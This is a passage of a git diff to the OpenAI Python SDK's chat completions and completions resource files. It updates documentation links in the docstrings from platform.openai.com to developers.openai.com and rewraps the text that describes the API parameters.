+ [model](https://developers.openai.com/api/docs/models) you use, different
+ message types (modalities) are supported, like
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
audio: Parameters for audio output. Required when audio output is requested with
`modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
frequency_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on their
existing frequency in the text so far, decreasing the model's likelihood to
@@ -2326,15 +2342,15 @@ async def create(
max_completion_tokens: An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -2349,8 +2365,8 @@ async def create(
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
@@ -2361,7 +2377,7 @@ async def create(
choices. Keep `n` as `1` to minimize costs.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
prediction: Static predicted output content, such as the content of a text file that is
@@ -2373,7 +2389,7 @@ async def create(
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2382,7 +2398,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2390,7 +2406,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2407,7 +2423,7 @@ async def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: An object specifying the format that the model must output.
@@ -2415,7 +2431,7 @@ async def create(
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -2426,7 +2442,7 @@ async def create(
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
seed: This feature is in Beta. If specified, our system will make a best effort to
sample deterministically, such that repeated requests with the same `seed` and
@@ -2441,13 +2457,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2461,8 +2479,9 @@ async def create(
returned text will not contain the stop sequence.
store: Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
@@ -2484,8 +2503,9 @@ async def create(
are present.
tools: A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
to return at each token position, each with an associated log probability. In
@@ -2502,7 +2522,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
verbosity: Constrains the verbosity of the model's response. Lower values will result in
more concise responses, while higher values will result in more verbose
@@ -2511,7 +2531,7 @@ async def create(
web_search_options: This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
extra_headers: Send extra headers
@@ -2573,52 +2593,52 @@ async def create(
) -> ChatCompletion | AsyncStream[ChatCompletionChunk]:
"""
**Starting a new project?** We recommend trying
- [Responses](https://platform.openai.com/docs/api-reference/responses) to take
- advantage of the latest OpenAI platform features. Compare
- [Chat Completions with Responses](https://platform.openai.com/docs/guides/responses-vs-chat-completions?api-mode=responses).
+ [Responses](https://developers.openai.com/api/reference/resources/responses) to
+ take advantage of the latest OpenAI platform features. Compare
+ [Chat Completions with Responses](https://developers.openai.com/api/docs/guides/migrate-to-responses?api-mode=responses).
---
Creates a model response for the given chat conversation. Learn more in the
- [text generation](https://platform.openai.com/docs/guides/text-generation),
- [vision](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio) guides.
+ [text generation](https://developers.openai.com/api/docs/guides/text),
+ [vision](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio) guides.
Parameter support can differ depending on the model used to generate the
response, particularly for newer reasoning models. Parameters that are only
supported for reasoning models are noted below. For the current state of
unsupported parameters in reasoning models,
- [refer to the reasoning guide](https://platform.openai.com/docs/guides/reasoning).
+ [refer to the reasoning guide](https://developers.openai.com/api/docs/guides/reasoning).
Returns a chat completion object, or a streamed sequence of chat completion
chunk objects if the request is streamed.
Args:
messages: A list of messages comprising the conversation so far. Depending on the
- [model](https://platform.openai.com/docs/models) you use, different message
- types (modalities) are supported, like
- [text](https://platform.openai.com/docs/guides/text-generation),
- [images](https://platform.openai.com/docs/guides/vision), and
- [audio](https://platform.openai.com/docs/guides/audio).
+ [model](https://developers.openai.com/api/docs/models) you use, different
+ message types (modalities) are supported, like
+ [text](https://developers.openai.com/api/docs/guides/text),
+ [images](https://developers.openai.com/api/docs/guides/images-vision), and
+ [audio](https://developers.openai.com/api/docs/guides/audio).
model: Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/chat/streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/chat/subresources/completions/streaming-events)
for more information, along with the
- [streaming responses](https://platform.openai.com/docs/guides/streaming-responses)
+ [streaming responses](https://developers.openai.com/api/docs/guides/streaming-responses)
guide for more information on how to handle the streaming events.
audio: Parameters for audio output. Required when audio output is requested with
`modalities: ["audio"]`.
- [Learn more](https://platform.openai.com/docs/guides/audio).
+ [Learn more](https://developers.openai.com/api/docs/guides/audio).
frequency_penalty: Number between -2.0 and 2.0. Positive values penalize new tokens based on their
existing frequency in the text so far, decreasing the model's likelihood to
@@ -2658,15 +2678,15 @@ async def create(
max_completion_tokens: An upper bound for the number of tokens that can be generated for a completion,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the chat
- completion. This value can be used to control
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the chat completion. This value can be used to control
[costs](https://openai.com/api/pricing/) for text generated via API.
This value is now deprecated in favor of `max_completion_tokens`, and is not
compatible with
- [o-series models](https://platform.openai.com/docs/guides/reasoning).
+ [o-series models](https://developers.openai.com/api/docs/guides/reasoning).
metadata: Set of 16 key-value pairs that can be attached to an object. This can be useful
for storing additional information about the object in a structured format, and
@@ -2681,8 +2701,8 @@ async def create(
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that
- this model generate both text and audio responses, you can use:
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To
+ request that this model generate both text and audio responses, you can use:
`["text", "audio"]`
@@ -2693,7 +2713,7 @@ async def create(
choices. Keep `n` as `1` to minimize costs.
parallel_tool_calls: Whether to enable
- [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling)
+ [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling)
during tool use.
prediction: Static predicted output content, such as the content of a text file that is
@@ -2705,7 +2725,7 @@ async def create(
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2714,7 +2734,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2722,7 +2742,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2739,7 +2759,7 @@ async def create(
are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`. Reducing
reasoning effort can result in faster responses and fewer tokens used on
reasoning in a response. Not all reasoning models support every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
response_format: An object specifying the format that the model must output.
@@ -2747,7 +2767,7 @@ async def create(
Setting to `{ "type": "json_schema", "json_schema": {...} }` enables Structured
Outputs which ensures the model will match your supplied JSON schema. Learn more
in the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
Setting to `{ "type": "json_object" }` enables the older JSON mode, which
ensures the message the model generates is valid JSON. Using `json_schema` is
@@ -2758,7 +2778,7 @@ async def create(
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
seed: This feature is in Beta. If specified, our system will make a best effort to
sample deterministically, such that repeated requests with the same `seed` and
@@ -2773,13 +2793,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2793,8 +2815,9 @@ async def create(
returned text will not contain the stop sequence.
store: Whether or not to store the output of this chat completion request for use in
- our [model distillation](https://platform.openai.com/docs/guides/distillation)
- or [evals](https://platform.openai.com/docs/guides/evals) products.
+ our
+ [model distillation](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#distilling-from-a-larger-model)
+ or [evals](https://developers.openai.com/api/docs/guides/evals) products.
Supports text and image inputs. Note: image inputs over 8MB will be dropped.
@@ -2816,8 +2839,9 @@ async def create(
are present.
tools: A list of tools the model may call. You can provide either
- [custom tools](https://platform.openai.com/docs/guides/function-calling#custom-tools)
- or [function tools](https://platform.openai.com/docs/guides/function-calling).
+ [custom tools](https://developers.openai.com/api/docs/guides/function-calling#custom-tools)
+ or
+ [function tools](https://developers.openai.com/api/docs/guides/function-calling).
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
to return at each token position, each with an associated log probability. In
@@ -2834,7 +2858,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
verbosity: Constrains the verbosity of the model's response. Lower values will result in
more concise responses, while higher values will result in more verbose
@@ -2843,7 +2867,7 @@ async def create(
web_search_options: This tool searches the web for relevant results to use in a response. Learn more
about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search?api-mode=chat).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
extra_headers: Send extra headers
diff --git a/src/openai/resources/completions.py b/src/openai/resources/completions.py
index d43c3854b2..f15bde2d2c 100644
--- a/src/openai/resources/completions.py
+++ b/src/openai/resources/completions.py
@@ -83,10 +83,10 @@ def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
prompt: The prompt(s) to generate completions for, encoded as a string, array of
strings, array of tokens, or array of token arrays.
@@ -111,17 +111,18 @@ def create(
existing frequency in the text so far, decreasing the model's likelihood to
repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias: Modify the likelihood of specified tokens appearing in the completion.
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -133,8 +134,8 @@ def create(
The maximum value for `logprobs` is 5.
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
@@ -151,7 +152,7 @@ def create(
whether they appear in the text so far, increasing the model's likelihood to
talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed: If specified, our system will make a best effort to sample deterministically,
such that repeated requests with the same `seed` and parameters should return
@@ -192,7 +193,7 @@ def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -241,10 +242,10 @@ def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
prompt: The prompt(s) to generate completions for, encoded as a string, array of
strings, array of tokens, or array of token arrays.
@@ -276,17 +277,18 @@ def create(
existing frequency in the text so far, decreasing the model's likelihood to
repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias: Modify the likelihood of specified tokens appearing in the completion.
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -298,8 +300,8 @@ def create(
The maximum value for `logprobs` is 5.
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
@@ -316,7 +318,7 @@ def create(
whether they appear in the text so far, increasing the model's likelihood to
talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed: If specified, our system will make a best effort to sample deterministically,
such that repeated requests with the same `seed` and parameters should return
@@ -350,7 +352,7 @@ def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -399,10 +401,10 @@ def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
prompt: The prompt(s) to generate completions for, encoded as a string, array of
strings, array of tokens, or array of token arrays.
@@ -434,17 +436,18 @@ def create(
existing frequency in the text so far, decreasing the model's likelihood to
repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias: Modify the likelihood of specified tokens appearing in the completion.
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -456,8 +459,8 @@ def create(
The maximum value for `logprobs` is 5.
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
@@ -474,7 +477,7 @@ def create(
whether they appear in the text so far, increasing the model's likelihood to
talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed: If specified, our system will make a best effort to sample deterministically,
such that repeated requests with the same `seed` and parameters should return
@@ -508,7 +511,7 @@ def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -650,10 +653,10 @@ async def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
prompt: The prompt(s) to generate completions for, encoded as a string, array of
strings, array of tokens, or array of token arrays.
@@ -678,17 +681,18 @@ async def create(
existing frequency in the text so far, decreasing the model's likelihood to
repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias: Modify the likelihood of specified tokens appearing in the completion.
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -700,8 +704,8 @@ async def create(
The maximum value for `logprobs` is 5.
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
@@ -718,7 +722,7 @@ async def create(
whether they appear in the text so far, increasing the model's likelihood to
talk about new topics.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
seed: If specified, our system will make a best effort to sample deterministically,
such that repeated requests with the same `seed` and parameters should return
@@ -759,7 +763,7 @@ async def create(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -808,10 +812,10 @@ async def create(
Args:
model: ID of the model to use. You can use the
- [List models](https://platform.openai.com/docs/api-reference/models/list) API to
- see all of your available models, or see our
- [Model overview](https://platform.openai.com/docs/models) for descriptions of
- them.
+ [List models](https://developers.openai.com/api/reference/resources/models/methods/list)
+ API to see all of your available models, or see our
+ [Model overview](https://developers.openai.com/api/docs/models) for descriptions
+ of them.
prompt: The prompt(s) to generate completions for, encoded as a string, array of
strings, array of tokens, or array of token arrays.
@@ -843,17 +847,18 @@ async def create(
existing frequency in the text so far, decreasing the model's likelihood to
repeat the same line verbatim.
- [See more information about frequency and presence penalties.](https://platform.openai.com/docs/guides/text-generation)
+ [See more information about frequency and presence penalties.](https://developers.openai.com/api/docs/guides/text)
logit_bias: Modify the likelihood of specified tokens appearing in the completion.
Accepts a JSON object that maps tokens (specified by their token ID in the GPT
tokenizer) to an associated bias value from -100 to 100. You can use this
- [tokenizer tool](/tokenizer?view=bpe) to convert text to token IDs.
- Mathematically, the bias is added to the logits generated by the model prior to
- sampling. The exact effect will vary per model, but values between -1 and 1
- should decrease or increase likelihood of selection; values like -100 or 100
- should result in a ban or exclusive selection of the relevant token.
+ [tokenizer tool](https://platform.openai.com/tokenizer?view=bpe) to convert text
+ to token IDs. Mathematically, the bias is added to the logits generated by the
+ model prior to sampling. The exact effect will vary per model, but values
+ between -1 and 1 should decrease or increase likelihood of selection; values
+ like -100 or 100 should result in a ban or exclusive selection of the relevant
+ token.
As an example, you can pass `{"50256": -100}` to prevent the <|endoftext|> token
from being generated.
@@ -865,8 +870,8 @@ async def create(
The maximum value for `logprobs` is 5.
- max_tokens: The maximum number of [tokens](/tokenizer) that can be generated in the
- completion.
+ max_tokens: The maximum number of [tokens](https://platform.openai.com/tokenizer) that can
+ be generated in the completion.
The token count of your prompt plus `max_tokens` cannot exceed the model's
context length.
